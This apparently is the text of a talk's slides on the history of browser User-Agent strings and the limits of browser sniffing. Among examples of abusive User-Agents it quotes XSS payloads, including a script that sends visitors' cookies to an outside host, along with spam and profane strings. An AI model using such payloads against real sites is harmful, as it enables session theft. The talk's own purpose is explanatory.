You can use the User-Agent string to identify: the browser the rendering engine the operating system the device model and more
Slide 19
why browser sniffing is hard
Slide 20
things started out simple
Slide 21
Mosaic
Mosaic/1.0 (Win3.1)
The name of the browser
The version of the browser
Operating system
Slide 22
Netscape Navigator
Mozilla/1.0 (Win3.1)
The code name of the browser
The version of the browser
Operating system
Slide 23
but it quickly started to get complicated
Slide 24
Internet Explorer
Mozilla/1.0 (compatible; MSIE 1.0; Windows 95)
The name of the browser Compatible with Netscape Navigator 1.0
The version of the browser
Operating system
Slide 25
Opera
Opera/8.54 (Windows 95; U; en)
The name of the browser
The version of the browser
Operating system
English language United States level encryption
Slide 26
Opera
Opera/10.00 (Windows NT 5.1; U; en) Presto/2.2.0
The name of the browser
The version of the browser
Rendering engine
Slide 27
Opera
Opera/9.8 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.10
The name of the browser
Fake version of the browser
Real version of the browser
Slide 28
Firefox
Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.0.12) Gecko/20090706 Firefox/3.0.12
The name of the rendering engine
The name of the browser
Build date of the rendering engine
Version of the browser
Version of the rendering engine
Slide 29
Firefox
Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20100101 Firefox/15.0
Build date is no longer updated
Slide 30
Firefox
Mozilla/5.0 (Windows NT 6.0; rv:16.0) Gecko/16.0 Firefox/16.0
Slide 31
and it gets worse…
Slide 32
Safari
Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.3 Safari/525.28.3
The name of the browser Version of the browser
Slide 33
Chrome
Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/525.27.1 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/525.28.3
The name of the browser Version of the browser
Slide 34
Opera
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.180
The name of the browser Version of the browser
Slide 35
Internet Explorer
Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
Version of the browser
Slide 36
Edge
Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/525.28.3 Edge/12.10162
The name of the browser Version of the browser
Slide 37
and those were all relatively normal User-Agent strings
Slide 38
“User-Agent strings only get larger over time, never smaller” Niels’s second law of User-Agent strings
Slide 39
Samsung Internet
Mozilla/5.0 (Linux; Android 4.3; en; SAMSUNG GT-I9505 Build/JSS15J) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/ 28.0.1500.94 Mobile Safari/537.36
Samsung device
Version of the browser
Slide 40
Nokia Xpress for Windows Phone
Mozilla/5.0 (Series40; NOKIALumia800; Profile/MIDP-2.1 Configuration/CLDC-1.1) Gecko/20100401 S40OviBrowser/1.8.0.50.5
Slide 41
LG Netcast
Mozilla/5.0 (X11; Linux; ko-KR) AppleWebKit/534.26+ (KHTML, like Gecko) Version/5.0 Safari/534.26+
Slide 42
Sometimes browsers include a compatibility mode, or desktop mode which deliberately changes the User-Agent string
Slide 43
Opera
Opera/9.80 (X11; Linux zbov; U; en) Presto/2.9.201 Version/11.50
The name of the browser
The name of the operating system
Version of the browser
Slide 44
Opera Mobile (desktop mode)
Opera/9.80 (X11; Linux zbov; U; en) Presto/2.9.201 Version/11.50
The name of the browser
ROT 13 encrypted “mobi“
Version of the browser
Slide 45
Internet Explorer
Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)
Browser version
Slide 46
Internet Explorer (compatibility view)
Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)
Trident 5 means it’s Internet Explorer 9
Slide 47
And it is possible to change the User-Agent string yourself
Slide 48
spam
http://www.sexxlife.it/sexyshop (sexy shop - sexy toys, BDSM, vibratori, falli, vagine, lubrificanti, dvd porno, film hard, lingerie - Migliaia di articoli nel nostro sexy shop online.; http://www.sexxlife.it; info@sexxlife.it)
Slide 49
XSS attacks
<script>alert("My Little Pony”);</script> <script language="JavaScript">document.location= "http://www.max1094.18.lc/admin/cookies.php?c=" + document.cookie;</script> <img src="http://bravo.trollab.org/mylittlepony.png" alt="My Little Pony”>
angry people
FuckZilla/666.0 (Gavnoid; Debile; rv:123.0) FuckYou/123.0 FuckingFox/321.0 Opera/9.80 (Windows NT 6.1; U; FuckYou; xx) Presto/2.10.229 Version/11.62 Seriously, Go fuck yourself W3C standards are important. Stop fucking obsessing over user-agent already.
Slide 54
4 x balls
82 x fuck 9 x dick 1.000.000 unique useragent strings
6 x ass
10 x shit 3 x vagina 108 x sex
Slide 55
User-Agent strings cannot be trusted!
Slide 56
Everybody lies
Slide 57
you should never use browser sniffing for controlling access to your website
Slide 58
you should never use browser sniffing for determining browser capabilities
Slide 59
you should never build your own browser sniffing library
Slide 60
what is browser sniffing good for?
Slide 61
improve ux if you know the platform or browser, you can streamline the user experience
Slide 62
Slide 63
analytics if you know your users, you can build a better site for them
Slide 64
error logging if you know which browser is causing problems, you can fix them
Slide 65
Slide 66
Slide 67
Slide 68
Use a browser sniffing library that is regularly updated. And check if it is possible to automatically schedule updates.
Slide 69
Try libraries like UAParser, PiwikDeviceDetector or WhichBrowser https://github.com/ua-parser https://github.com/piwik/device-detector https://github.com/whichbrowser
Slide 70
Please don’t use WURLF because it is outdated and just not good
Slide 71
Slide 72
“If you tell a big enough lie and tell it frequently enough, it will be believed” — Ghandi
Slide 73
“If you tell a big enough lie and tell it frequently enough, it will be believed” — Ghandi
Slide 74
“If you tell a big enough lie and tell it frequently enough, it will be believed” — Adolf Hitler